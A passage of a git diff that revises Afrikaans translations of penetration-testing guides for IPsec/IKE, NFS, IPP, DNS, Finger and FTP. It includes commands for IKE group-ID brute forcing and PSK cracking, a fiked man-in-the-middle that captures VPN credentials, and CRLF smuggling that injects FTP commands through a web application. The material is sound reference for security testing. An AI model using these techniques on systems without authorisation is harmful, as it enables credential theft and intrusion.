**verkoper** van die toestel te **ontdek**. Die hulpmiddel stuur 'n aanvanklike voorstel en stop om te herhaal. Dan sal dit die **tyd** verskil **tussen** die ontvangde **boodskappe** van die bediener en die ooreenstemmende reaksiepatroon analiseer, die pentester kan suksesvol die VPN-gateway verkoper vingerafdruk. Boonop sal sommige VPN-bedieners die opsionele **Vendor ID (VID) payload** met IKE gebruik. +Dan kan jy ike-scan gebruik om te probeer **ontdek wie die verskaffer** van die toestel is. Die hulpmiddel stuur 'n aanvanklike voorstel en stop om te herhaal. Dan sal dit die **tyd** verskil **tussen** die ontvangde **boodskappe** van die bediener en die ooreenstemmende reaksiepatroon analiseer, die pentester kan suksesvol die VPN-gateway verskaffer vingerafdruk. Boonop sal sommige VPN-bedieners die opsionele **Verskaffer ID (VID) payload** met IKE gebruik. **Specifiseer die geldige transformasie indien nodig** (gebruik --trans) -As IKE ontdek wie die verkoper is, sal dit dit druk: +As IKE ontdek wie die verskaffer is, sal dit dit druk: ``` root@bt:~# ike-scan -M --showbackoff 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) @@ -101,7 +101,7 @@ IP Address No. Recv time Delta Time Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify ``` -Dit kan ook bereik word met nmap script _**ike-version**_ +Dit kan ook bereik word met die nmap skrip _**ike-version**_ ## Vind die korrekte ID (groepsnaam) @@ -110,11 +110,11 @@ Om dit te doen, beveel ek 2 metodes aan: ### Bruteforcing ID met ike-scan -Eerstens, probeer om 'n versoek met 'n valse ID te maak om die hash te versamel ("-P"): +Eerstens, probeer om 'n versoek met 'n vals ID te maak om die hash te versamel ("-P"): ```bash ike-scan -P -M -A -n fakeID ``` -As **geen hash teruggestuur word nie**, sal hierdie metode van brute-forcing waarskynlik werk. **As 'n paar hash teruggestuur word, beteken dit dat 'n vals hash teruggestuur gaan word vir 'n vals ID, so hierdie metode sal nie betroubaar wees** om die ID te brute-force nie. Byvoorbeeld, 'n vals hash kan teruggestuur word (dit gebeur in moderne weergawes): +As **geen hash teruggestuur word nie**, sal hierdie metode van brute forcing waarskynlik werk. **As 'n paar hash teruggestuur word, beteken dit dat 'n vals hash teruggestuur gaan word vir 'n vals ID, so hierdie metode sal nie betroubaar wees** om die ID te brute-force. Byvoorbeeld, 'n vals hash kan teruggestuur word (dit gebeur in moderne weergawes): ![](<../images/image (917).png>) @@ -136,14 +136,14 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ### Bruteforcing ID met ikeforce -[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) is 'n hulpmiddel wat gebruik kan word om **ID's ook te brute force**. Hierdie hulpmiddel sal **verskillende kwesbaarhede probeer benut** wat gebruik kan word om **tussen 'n geldige en 'n nie-geldige ID te onderskei** (kan vals positiewe en vals negatiewe hê, daarom verkies ek om die ike-scan metode te gebruik indien moontlik). +[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) is 'n hulpmiddel wat gebruik kan word om **ID's ook te brute force**. Hierdie hulpmiddel sal **probeer om verskillende kwesbaarhede te benut** wat gebruik kan word om **tussen 'n geldige en 'n nie-geldige ID te onderskei** (kan vals positiewe en vals negatiewe hê, daarom verkies ek om die ike-scan metode te gebruik indien moontlik). Standaard sal **ikeforce** aan die begin 'n paar ewekansige ID's stuur om die gedrag van die bediener te kontroleer en die taktiek te bepaal om te gebruik. - Die **eerste metode** is om die groepsname te brute-force deur **inligting te soek** oor **Dead Peer Detection DPD** van Cisco stelsels (hierdie inligting word slegs deur die bediener herhaal as die groepsnaam korrek is). - Die **tweede metode** wat beskikbaar is, is om **die aantal antwoorde wat na elke poging gestuur word, te kontroleer** omdat soms meer pakkette gestuur word wanneer die korrekte ID gebruik word. - Die **derde metode** bestaan uit **soek na "INVALID-ID-INFORMATION" in antwoord op 'n onkorrekte ID**. -- Laastens, as die bediener niks na die kontroles herhaal nie, sal **ikeforce** probeer om die bediener te brute force en kyk of wanneer die korrekte ID gestuur word, die bediener met 'n paar pakkette antwoordgee.\ +- Laastens, as die bediener niks aan die kontroles terugstuur nie, sal **ikeforce** probeer om die bediener te brute force en kyk of wanneer die korrekte ID gestuur word, die bediener met 'n pakkie antwoordgee.\ Dit is duidelik dat die doel van die brute forcing van die ID is om die **PSK** te verkry wanneer jy 'n geldige ID het. Dan, met die **ID** en **PSK** sal jy die XAUTH moet bruteforce (as dit geaktiveer is). As jy 'n spesifieke transformasie ontdek het, voeg dit by die ikeforce-opdrag. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus toe te voeg om hulle almal te probeer (jy moet hulle almal probeer totdat een van hulle behoorlik werk). @@ -157,7 +157,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library ``` ### Sniffing ID -(Van die boek **Network Security Assessment: Know Your Network**): Dit is ook moontlik om geldige gebruikersname te verkry deur die verbinding tussen die VPN-kliënt en -bediener te snuffel, aangesien die eerste aggressiewe modus pakket wat die kliënt ID bevat, in die duidelik gestuur word. +(Van die boek **Network Security Assessment: Know Your Network**): Dit is ook moontlik om geldige gebruikersname te verkry deur die verbinding tussen die VPN-kliënt en -bediener te sniff, aangesien die eerste aggressiewe modus pakket wat die kliënt ID bevat, in die duidelik gestuur word. ![](<../images/image (891).png>) @@ -177,11 +177,11 @@ psk-crack -d psk.txt **Aggressiewe modus IKE** gekombineer met 'n **Pre-Shared Key (PSK)** word algemeen gebruik vir **groepsverifikasie** doeleindes. Hierdie metode word versterk deur **XAuth (Extended Authentication)**, wat dien om 'n addisionele laag van **gebruikersverifikasie** in te voer. Sulke verifikasie maak tipies gebruik van dienste soos **Microsoft Active Directory**, **RADIUS**, of soortgelyke stelsels. -Met die oorgang na **IKEv2**, word 'n noemenswaardige verskuiwing waargeneem waar **EAP (Extensible Authentication Protocol)** gebruik word in plaas van **XAuth** vir die doel om gebruikers te verifieer. Hierdie verandering beklemtoon 'n evolusie in verifikasiepraktyke binne veilige kommunikasieprotokolle. +Met die oorgang na **IKEv2** word 'n noemenswaardige verskuiwing waargeneem waar **EAP (Extensible Authentication Protocol)** gebruik word in plaas van **XAuth** vir die doel om gebruikers te verifieer. Hierdie verandering beklemtoon 'n evolusie in verifikasietegnieke binne veilige kommunikasieprotokolle. ### Plaaslike netwerk MitM om akrediteer te vang -So kan jy die data van die aanmelding vang met _fiked_ en kyk of daar enige standaard gebruikersnaam is (Jy moet IKE-verkeer na `fiked` herlei vir sniffing, wat gedoen kan word met die hulp van ARP spoofing, [meer inligting](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked sal as 'n VPN-eindpunt optree en die XAuth akrediteer vang: +So kan jy die data van die aanmelding vang met _fiked_ en kyk of daar enige standaard gebruikersnaam is (Jy moet IKE-verkeer na `fiked` herlei vir sniffing, wat gedoen kan word met die hulp van ARP spoofing, [meer info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked sal as 'n VPN-eindpunt optree en die XAuth akrediteer vang: ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` @@ -199,7 +199,7 @@ As jy een of verskeie geldige transformasies gevind het, gebruik dit net soos in ## Outentisering met 'n IPSEC VPN -In Kali word **VPNC** gebruik om IPsec tonnels op te stel. Die **profiele** moet in die gids `/etc/vpnc/` geleë wees. Jy kan hierdie profiele begin met die opdrag _**vpnc**_. +In Kali, **VPNC** word gebruik om IPsec tonnels op te stel. Die **profiele** moet in die gids `/etc/vpnc/` geleë wees. Jy kan hierdie profiele inisieer met die opdrag _**vpnc**_. Die volgende opdragte en konfigurasies illustreer die proses om 'n VPN-verbinding met VPNC op te stel: ```bash diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index bedaa5fa3..2075ccce9 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -4,11 +4,11 @@ ## **Basiese Inligting** -**NFS** is 'n stelsel ontwerp vir **kliënt/bediener** wat gebruikers in staat stel om naatloos toegang tot lêers oor 'n netwerk te verkry asof hierdie lêers in 'n plaaslike gids geleë is. +**NFS** is 'n stelsel ontwerp vir **klant/bediener** wat gebruikers in staat stel om naatloos toegang tot lêers oor 'n netwerk te verkry asof hierdie lêers in 'n plaaslike gids geleë is. -'n Opmerklike aspek van hierdie protokol is die gebrek aan ingeboude **verifikasie** of **autorisasiemeganismes**. In plaas daarvan, berus autorisasie op **lêerstelselinligting**, met die bediener wat verantwoordelik is om **kliënt-gelewer gebruikersinligting** akkuraat in die lêerstelsel se vereiste **autorisasieformaat** te vertaal, hoofsaaklik volgens **UNIX-sintaksis**. +'n Opmerklike aspek van hierdie protokol is die gebrek aan ingeboude **verifikasie** of **autorisasiemeganismes**. In plaas daarvan, berus autorisasie op **lêerstelselinligting**, met die bediener wat verantwoordelik is om **klant-gelewer gebruikersinligting** akkuraat in die lêerstelsel se vereiste **autorisasieformaat** te vertaal, hoofsaaklik volgens **UNIX-sintaksis**. -Verifikasie berus algemeen op **UNIX `UID`/`GID` identifiseerders en groepslidmaatskappe**. egter, 'n uitdaging ontstaan weens die potensiële wanpassing in **`UID`/`GID` kaarte** tussen kliënte en bedieners, wat geen ruimte laat vir addisionele verifikasie deur die bediener nie. Gevolglik is die protokol die beste geskik vir gebruik binne **vertroude netwerke**, gegewe sy afhanklikheid van hierdie metode van verifikasie. +Verifikasie berus algemeen op **UNIX `UID`/`GID` identifiseerders en groeplidmaatskappe**. egter, ontstaan 'n uitdaging weens die potensiële wanpassing in **`UID`/`GID` kaarte** tussen kliënte en bedieners, wat geen ruimte laat vir addisionele verifikasie deur die bediener nie. Gevolglik is die protokol die beste geskik vir gebruik binne **vertroude netwerke**, gegewe sy afhanklikheid van hierdie metode van verifikasie. **Standaardpoort**: 2049/TCP/UDP (behalwe weergawe 4, dit benodig net TCP of UDP). ``` @@ -16,11 +16,11 @@ Verifikasie berus algemeen op **UNIX `UID`/`GID` identifiseerders en groepslidma ``` ### Weergawes -- **NFSv2**: Hierdie weergawe is bekend vir sy breë kompatibiliteit met verskeie stelsels, wat sy belangrikheid merk met aanvanklike bedrywighede hoofsaaklik oor UDP. As die **oudste** in die reeks, het dit die grondslag gelê vir toekomstige ontwikkelinge. +- **NFSv2**: Hierdie weergawe is bekend vir sy wye kompatibiliteit met verskeie stelsels, wat sy belangrikheid merk met aanvanklike bedrywighede hoofsaaklik oor UDP. As die **oudste** in die reeks, het dit die grondslag gelê vir toekomstige ontwikkelings. - **NFSv3**: Ingevoerd met 'n reeks verbeterings, het NFSv3 op sy voorganger uitgebrei deur veranderlike lêergroottes te ondersteun en verbeterde foutverslagmeganismes aan te bied. Ten spyte van sy vooruitgang, het dit beperkings in volle agterwaartse kompatibiliteit met NFSv2-kliënte ondervind. -- **NFSv4**: 'n Mylpaalweergawe in die NFS-reeks, het NFSv4 'n stel funksies gebring wat ontwerp is om lêerdeling oor netwerke te moderniseer. Opmerklike verbeterings sluit die integrasie van Kerberos vir **hoë sekuriteit**, die vermoë om vuurmure te oorsteek en oor die Internet te werk sonder die behoefte aan portmappers, ondersteuning vir Toegang Beheer Lyste (ACL's), en die bekendstelling van staat-gebaseerde bedrywighede in. Sy prestasieverbeterings en die aanneming van 'n staatlike protokol onderskei NFSv4 as 'n belangrike vooruitgang in netwerk lêerdeling tegnologieë. +- **NFSv4**: 'n Mylpaalweergawe in die NFS-reeks, het NFSv4 'n stel funksies gebring wat ontwerp is om lêerdeling oor netwerke te moderniseer. Opmerklike verbeterings sluit die integrasie van Kerberos vir **hoë sekuriteit**, die vermoë om vuurmure te oorkom en oor die Internet te werk sonder die behoefte aan portmappers, ondersteuning vir Toegang Beheer Lyste (ACL's), en die bekendstelling van staat-gebaseerde bedrywighede in. Sy prestasieverbeterings en die aanneming van 'n staatlike protokol onderskei NFSv4 as 'n belangrike vooruitgang in netwerk lêerdeling tegnologieë. Elke weergawe van NFS is ontwikkel met die doel om die ontwikkelende behoeftes van netwerkomgewings aan te spreek, wat progressief sekuriteit, kompatibiliteit en prestasie verbeter. @@ -46,7 +46,7 @@ Dan monteer dit met: ```bash mount -t nfs [-o vers=2] : -o nolock ``` -U moet spesifiseer om **weergawe 2** te **gebruik** omdat dit **geen** **verifikasie** of **outorisering** het. +U moet spesifiseer om **weergawe 2** te **gebruik** omdat dit **geen** **verifikasie** of **outorisering** het nie. **Voorbeeld:** ```bash @@ -74,13 +74,13 @@ Om maklik te lys, te monteer en UID en GID te verander om toegang tot lêers te - **Gebruik van Onveilige Poorte (`insecure`):** Wanneer geaktiveer, laat dit die stelsel toe om poorte bo 1024 te gebruik. Die sekuriteit van poorte bo hierdie reeks kan minder streng wees, wat die risiko verhoog. -- **Sigbaarheid van Geneste Lêerstelsels (`nohide`):** Hierdie konfigurasie maak gidse sigbaar selfs al is 'n ander lêerstelsel onder 'n geexporteerde gids gemonteer. Elke gids vereis sy eie eksportinskrywing vir behoorlike bestuur. +- **Sigbaarheid van Geneste Lêerstelsels (`nohide`):** Hierdie konfigurasie maak gidse sigbaar selfs al is 'n ander lêerstelsel onder 'n geëksporteerde gids gemonteer. Elke gids vereis sy eie uitvoerinskrywing vir behoorlike bestuur. -- **Eienaarskap van Wortellêers (`no_root_squash`):** Met hierdie instelling behou lêers wat deur die wortelgebruiker geskep is, hul oorspronklike UID/GID van 0, wat die beginsel van minste voorregte ignoreer en moontlik oormatige regte toeken. +- **Eienaarskap van Wortellêers (`no_root_squash`):** Met hierdie instelling behou lêers wat deur die wortelgebruiker geskep is, hul oorspronklike UID/GID van 0, wat die beginsel van die minste voorregte ignoreer en moontlik oormatige regte toeken. -- **Nie-Squashing van Alle Gebruikers (`no_all_squash`):** Hierdie opsie verseker dat gebruikersidentiteite oor die stelsel behou word, wat tot toestemming- en toegangbeheerprobleme kan lei as dit nie korrek hanteer word nie. +- **Nie-Squashing van Alle Gebruikers (`no_all_squash`):** Hierdie opsie verseker dat gebruikersidentiteite oor die stelsel behou word, wat kan lei tot regte en toegangbeheerprobleme as dit nie korrek hanteer word nie. -## Voorregverhoging deur NFS-misconfigurasies +## Voorregverhoging deur NFS misconfigurasies [NFS no_root_squash en no_all_squash voorregverhoging](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md) diff --git a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md index 79a32b213..8e5f5fa46 100644 --- a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md +++ b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md @@ -2,9 +2,9 @@ # Internet Printing Protocol \(IPP\) -Die **Internet Printing Protocol (IPP)**, soos gespesifiseer in **RFC2910** en **RFC2911**, dien as 'n grondslag vir druk oor die internet. Die vermoë om uitgebrei te word, word getoon deur ontwikkelings soos **IPP Everywhere**, wat daarop gemik is om mobiele en wolkdrukstandaarde te standaardiseer, en die bekendstelling van uitbreidings vir **3D druk**. +Die **Internet Printing Protocol (IPP)**, soos gespesifiseer in **RFC2910** en **RFC2911**, dien as 'n grondslag vir druk oor die internet. Die vermoë om uitgebrei te word, word getoon deur ontwikkelings soos **IPP Everywhere**, wat daarop gemik is om mobiele en wolkdruk te standaardiseer, en die bekendstelling van uitbreidings vir **3D druk**. -Deur die gebruik van die **HTTP** protokol, voordeel IPP uit gevestigde sekuriteitspraktyke insluitend **basic/digest authentication** en **SSL/TLS encryption**. Aksies soos die indien van 'n drukopdrag of die navraag van drukkerstatus word uitgevoer deur middel van **HTTP POST requests** wat gerig is op die IPP bediener, wat op **port 631/tcp** werk. +Deur die gebruik van die **HTTP** protokol, voordeel IPP uit gevestigde sekuriteitspraktyke insluitend **basic/digest authentication** en **SSL/TLS encryption**. Aksies soos die indien van 'n druktaak of die navraag van drukkerstatus word uitgevoer deur middel van **HTTP POST requests** wat gerig is op die IPP bediener, wat op **port 631/tcp** werk. 'n Bekende implementering van IPP is **CUPS**, 'n oopbron-druksisteem wat algemeen voorkom in verskeie Linux verspreidings en OS X. Ten spyte van sy nut, kan IPP, soortgelyk aan LPD, uitgebuit word om kwaadwillige inhoud deur **PostScript** of **PJL files** oor te dra, wat 'n potensiële sekuriteitsrisiko beklemtoon. ```python diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index 718372490..a6b318e14 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -5,7 +5,7 @@ ## **Basiese Inligting** -Die **Domeinnaamstelsel (DNS)** dien as die internet se gids, wat gebruikers in staat stel om webwerwe te benader deur **maklik onthoubare domeinnames** soos google.com of facebook.com, eerder as die numeriese Internetprotokol (IP) adresse. Deur domeinnames in IP adresse te vertaal, verseker die DNS dat webblaaiers vinnig internetbronne kan laai, wat die manier waarop ons die aanlyn wêreld navigeer, vereenvoudig. +Die **Domeinnaamstelsel (DNS)** dien as die internet se gids, wat gebruikers in staat stel om toegang tot webwerwe te verkry deur **maklik onthoubare domeinnames** soos google.com of facebook.com, eerder as die numeriese Internetprotokol (IP) adresse. Deur domeinnames in IP adresse te vertaal, verseker die DNS dat webblaaiers vinnig internetbronne kan laai, wat die manier vereenvoudig waarop ons in die aanlyn wêreld navigeer. **Standaard poort:** 53 ``` @@ -16,7 +16,7 @@ PORT STATE SERVICE REASON ``` ### Verskillende DNS Bedieners -- **DNS Wortel Bedieners**: Hierdie is aan die bokant van die DNS hiërargie, wat die topvlak domeine bestuur en slegs ingryp as laer vlak bedieners nie reageer nie. Die Internet Korporasie vir Toegewyde Name en Nommers (**ICANN**) toesig oor hul werking, met 'n globale telling van 13. +- **DNS Wortel Bedieners**: Hierdie is aan die top van die DNS hiërargie, wat die topvlak domeine bestuur en slegs ingryp as laer vlak bedieners nie reageer nie. Die Internet Korporasie vir Toegewyde Name en Nommers (**ICANN**) toesig oor hul werking, met 'n globale telling van 13. - **Outoritatiewe Naamservers**: Hierdie bedieners het die finale sê vir navrae in hul aangewese sones, wat definitiewe antwoorde bied. As hulle nie 'n antwoord kan verskaf nie, word die navraag na die wortel bedieners opgestoot. - **Nie-outoritatiewe Naamservers**: Gebrek aan eienaarskap oor DNS sones, hierdie bedieners versamel domein inligting deur navrae aan ander bedieners. - **Kas DNS Bediener**: Hierdie tipe bediener onthou vorige navraag antwoorde vir 'n bepaalde tyd om reaksietye vir toekomstige versoeke te versnel, met die kasduur wat deur die outoritatiewe bediener bepaal word. @@ -40,7 +40,7 @@ Dit is ook moontlik om die banner te gryp met 'n **nmap** skrip: ``` ### **Enige rekord** -Die rekord **ANY** sal die DNS-bediener vra om **terug te gee** al die beskikbare **ingevoerde** wat **hy bereid is om te openbaar**. +Die rekord **ANY** sal die DNS-bediener vra om **terug te gee** al die beskikbare **ingevoerde** wat **hy bereid is om bekend te maak**. ```bash dig any victim.com @ ``` @@ -99,7 +99,7 @@ dnsrecon -d active.htb -a -n #Zone transfer Nog 'n hulpmiddel om dit te doen: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) -Jy kan omgekeerde IP-reekse navraag doen by [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (hierdie hulpmiddel is ook nuttig met BGP). +Jy kan omgekeerde IP-reekse navraag doen na [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (hierdie hulpmiddel is ook nuttig met BGP). ### DNS - Subdomeine BF ```bash @@ -107,7 +107,7 @@ dnsenum --dnsserver --enum -p 0 -s 0 -o subdomains.txt -f subdomains-10 dnsrecon -D subdomains-1000.txt -d -n dnscan -d -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan ``` -### Aktiewe Gidsservers +### Aktiewe Gidsdienste bedieners ```bash dig -t _gc._tcp.lab.domain.com dig -t _ldap._tcp.lab.domain.com @@ -152,7 +152,7 @@ dig google.com A @ ### E-pos na nie-bestaande rekening -**Om 'n e-pos na 'n nie-bestaande adres te stuur** met die slagoffer se domein kan die slagoffer laat stuur 'n nie-aflewering kennisgewing (NDN) boodskap waarvan die **koppe** interessante inligting kan bevat soos die **naam van interne bedieners en IP adresse**. +**Om 'n e-pos na 'n nie-bestaande adres te stuur** met die slagoffer se domein kan die slagoffer laat 'n nie-aflewering kennisgewing (NDN) boodskap stuur waarvan die **koptekste** interessante inligting kan bevat soos die **naam van interne bedieners en IP adresse**. ## Post-Exploitation diff --git a/src/network-services-pentesting/pentesting-finger.md b/src/network-services-pentesting/pentesting-finger.md index 620601cd5..1dff324bd 100644 --- a/src/network-services-pentesting/pentesting-finger.md +++ b/src/network-services-pentesting/pentesting-finger.md @@ -5,21 +5,21 @@ ## **Basiese Inligting** -Die **Finger** program/dienst word gebruik om besonderhede oor rekenaargebruikers te verkry. Gewoonlik sluit die inligting wat verskaf word die **gebruiker se aanmeldnaam, volle naam** in, en in sommige gevalle, addisionele besonderhede. Hierdie addisionele besonderhede kan die kantoor ligging en telefoonnommer (indien beskikbaar), die tyd wat die gebruiker aangemeld het, die periode van inaktiwiteit (idle time), die laaste keer dat die gebruiker e-pos gelees het, en die inhoud van die gebruiker se plan en projeklêers insluit. +Die **Finger** program/dienst word gebruik om besonderhede oor rekenaargebruikers te verkry. Gewoonlik sluit die inligting wat verskaf word die **gebruiker se aanmeldnaam, volle naam**, en, in sommige gevalle, addisionele besonderhede in. Hierdie addisionele besonderhede kan die kantoor ligging en telefoonnommer (indien beskikbaar), die tyd wat die gebruiker aangemeld het, die periode van inaktiwiteit (idle time), die laaste keer wat die gebruiker e-pos gelees het, en die inhoud van die gebruiker se plan en projeklêers insluit. **Standaard poort:** 79 ``` PORT STATE SERVICE 79/tcp open finger ``` -## **Enumerasie** +## **Opname** ### **Banner Grabbing/Basiese verbinding** ```bash nc -vn 79 echo "root" | nc -vn 79 ``` -### **Gebruikersevaluering** +### **Gebruiker enumerasie** ```bash finger @ #List users finger admin@ #Get info of user diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 3e1080f7c..90bc47d38 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -14,11 +14,11 @@ PORT STATE SERVICE ``` ### Verbindinge Aktief & Passief -In **Aktiewe FTP** begin die FTP **klient** eers die beheer **verbinding** vanaf sy poort N na die FTP Bediening se kommando poort – poort 21. Die **klient** luister dan na poort **N+1** en stuur die poort N+1 na die FTP Bediening. Die FTP **Bediening** begin dan die data **verbinding**, vanaf **sy poort M na die poort N+1** van die FTP Klient. +In **Aktiewe FTP** begin die FTP **klient** eers die beheer **verbinding** vanaf sy poort N na die FTP Bediener se kommando poort – poort 21. Die **klient** luister dan na poort **N+1** en stuur die poort N+1 na die FTP Bediener. Die FTP **Bediener** begin dan die data **verbinding**, vanaf **sy poort M na die poort N+1** van die FTP Klient. Maar, as die FTP Klient 'n firewall opgestel het wat die inkomende dataverbindinge van buite beheer, kan aktiewe FTP 'n probleem wees. En, 'n haalbare oplossing daarvoor is Passiewe FTP. -In **Passiewe FTP**, begin die klient die beheerverbinding vanaf sy poort N na die poort 21 van die FTP Bediening. Daarna gee die klient 'n **passv kommando** uit. Die bediener stuur dan vir die klient een van sy poortnommers M. En die **klient** **begin** die data **verbinding** vanaf **sy poort P na poort M** van die FTP Bediening. +In **Passiewe FTP**, begin die klient die beheerverbinding vanaf sy poort N na die poort 21 van die FTP Bediener. Na hierdie, gee die klient 'n **passv kommando** uit. Die bediener stuur dan vir die klient een van sy poortnommers M. En die **klient** **begin** die data **verbinding** vanaf **sy poort P na poort M** van die FTP Bediener. Bron: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) @@ -33,7 +33,7 @@ Die **FTP** opdragte **`debug`** en **`trace`** kan gebruik word om te sien **ho nc -vn 21 openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any ``` -### Verbinding maak met FTP met starttls +### Verbinding maak met FTP met behulp van starttls ``` lftp lftp :~> set ftp:ssl-force true @@ -49,7 +49,7 @@ Met **nmap** ```bash sudo nmap -sV -p21 -sC -A 10.10.10.10 ``` -U kan die opdragte `HELP` en `FEAT` gebruik om 'n paar inligting van die FTP-bediener te verkry: +U kan die opdragte `HELP` en `FEAT` gebruik om inligting van die FTP-bediener te verkry: ``` HELP 214-The following commands are recognized (* =>'s unimplemented): @@ -105,7 +105,7 @@ Hier kan jy 'n mooi lys met standaard ftp geloofsbriewe vind: [https://github.co ### Geoutomatiseerd -Anon login en bounce FTP kontrole word standaard deur nmap met **-sC** opsie uitgevoer of: +Anon inlog en bounce FTP kontrole word standaard deur nmap uitgevoer met die **-sC** opsie of: ```bash nmap --script ftp-* -p 21 ``` @@ -115,7 +115,7 @@ Jy kan met 'n FTP-bediener verbind deur 'n blaaier (soos Firefox) te gebruik met ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Let wel dat as 'n **webtoepassing** data wat deur 'n gebruiker beheer word **direk na 'n FTP-bediener** stuur, jy dubbele URL-kodering `%0d%0a` (in dubbele URL-kodering is dit `%250d%250a`) bytes kan stuur en die **FTP-bediener dwing om arbitrêre aksies** uit te voer. Een van hierdie moontlike arbitrêre aksies is om inhoud van 'n gebruiker se beheerde bediener af te laai, poortskandering uit te voer of te probeer om met ander teksgebaseerde dienste (soos http) te kommunikeer. +Let wel dat as 'n **webtoepassing** data wat deur 'n gebruiker beheer word **direk na 'n FTP-bediener** stuur, jy kan dubbele URL-kodering `%0d%0a` (in dubbele URL-kodering is dit `%250d%250a`) bytes stuur en die **FTP-bediener dwing om arbitrêre aksies** uit te voer. Een van hierdie moontlike arbitrêre aksies is om inhoud van 'n gebruiker se beheerde bediener af te laai, poortskandering uit te voer of te probeer om met ander teksgebaseerde dienste (soos http) te kommunikeer. ## Laai alle lêers van FTP af ```bash @@ -131,15 +131,15 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`USER username`** - **`PASS password`** - **`HELP`** Die bediener dui aan watter opdragte ondersteun word -- **`PORT 127,0,0,1,0,80`** Dit sal die FTP-bediener aandui om 'n verbinding met die IP 127.0.0.1 op poort 80 te vestig (_jy moet die 5de karakter as "0" en die 6de as die poort in desimale of gebruik die 5de en 6de om die poort in hex uit te druk_). +- **`PORT 127,0,0,1,0,80`** Dit sal die FTP-bediener aandui om 'n verbinding met die IP 127.0.0.1 op poort 80 te vestig (_jy moet die 5de karakter as "0" en die 6de as die poort in desimale of gebruik die 5de en 6de om die poort in hex te druk_). - **`EPRT |2|127.0.0.1|80|`** Dit sal die FTP-bediener aandui om 'n TCP-verbinding (_aangedui deur "2"_) met die IP 127.0.0.1 op poort 80 te vestig. Hierdie opdrag **ondersteun IPv6**. - **`LIST`** Dit sal die lys van lêers in die huidige gids stuur - **`LIST -R`** Lys rekursief (as toegelaat deur die bediener) -- **`APPE /path/something.txt`** Dit sal die FTP aandui om die data wat ontvang is van 'n **passiewe** verbinding of van 'n **PORT/EPRT** verbinding na 'n lêer te stoor. As die lêernaam bestaan, sal dit die data byvoeg. +- **`APPE /path/something.txt`** Dit sal die FTP aandui om die data wat van 'n **passiewe** verbinding of van 'n **PORT/EPRT** verbinding ontvang is, na 'n lêer te stoor. As die lêernaam bestaan, sal dit die data byvoeg. - **`STOR /path/something.txt`** Soos `APPE` maar dit sal die lêers oorskryf - **`STOU /path/something.txt`** Soos `APPE`, maar as dit bestaan, sal dit niks doen nie. - **`RETR /path/to/file`** 'n Passiewe of 'n poortverbinding moet gevestig word. Dan sal die FTP-bediener die aangeduide lêer deur daardie verbinding stuur -- **`REST 6`** Dit sal die bediener aandui dat die volgende keer wanneer dit iets stuur met `RETR` dit in die 6de byte moet begin. +- **`REST 6`** Dit sal die bediener aandui dat dit die volgende keer wat dit iets stuur met `RETR` in die 6de byte moet begin. - **`TYPE i`** Stel oordrag na binêr - **`PASV`** Dit sal 'n passiewe verbinding oopmaak en die gebruiker aandui waar hy kan aansluit - **`PUT /tmp/file.txt`** Laai die aangeduide lêer na die FTP op @@ -157,10 +157,10 @@ Die teorie is eenvoudig: 1. **Laai die versoek (binne 'n tekslêer) na die kwesbare bediener op.** Onthou dat as jy met 'n ander HTTP of FTP-bediener wil praat, jy lyne moet verander met `0x0d 0x0a` 2. **Gebruik `REST X` om te verhoed dat jy die karakters stuur wat jy nie wil stuur nie** (miskien om die versoek binne die lêer op te laai, moes jy 'n beeldkop aan die begin sit) -3. **Gebruik `PORT` om aan te sluit by die arbitrêre bediener en diens** +3. **Gebruik `PORT` om met die arbitrêre bediener en diens te verbind** 4. **Gebruik `RETR` om die gestoor versoek na die bediener te stuur.** -Dit is hoogs waarskynlik dat dit **'n fout soos** _**Socket not writable**_ **sal gooi omdat die verbinding nie lank genoeg duur om die data met `RETR` te stuur nie**. Voorstelle om te probeer om dit te vermy is: +Dit is hoogs waarskynlik dat dit **'n fout soos** _**Socket nie skryfbaar**_ **sal gooi omdat die verbinding nie lank genoeg duur om die data met `RETR` te stuur nie**. Voorstelle om te probeer om dit te vermy is: - As jy 'n HTTP-versoek stuur, **sit die dieselfde versoek een na die ander** totdat **\~0.5MB** ten minste. Soos hierdie: @@ -173,9 +173,9 @@ posts.txt In elk geval, hier het jy 'n [ou voorbeeld oor hoe om dit te misbruik om 'n FTP-bediener 'n lêer van 'n ander FTP-bediener af te 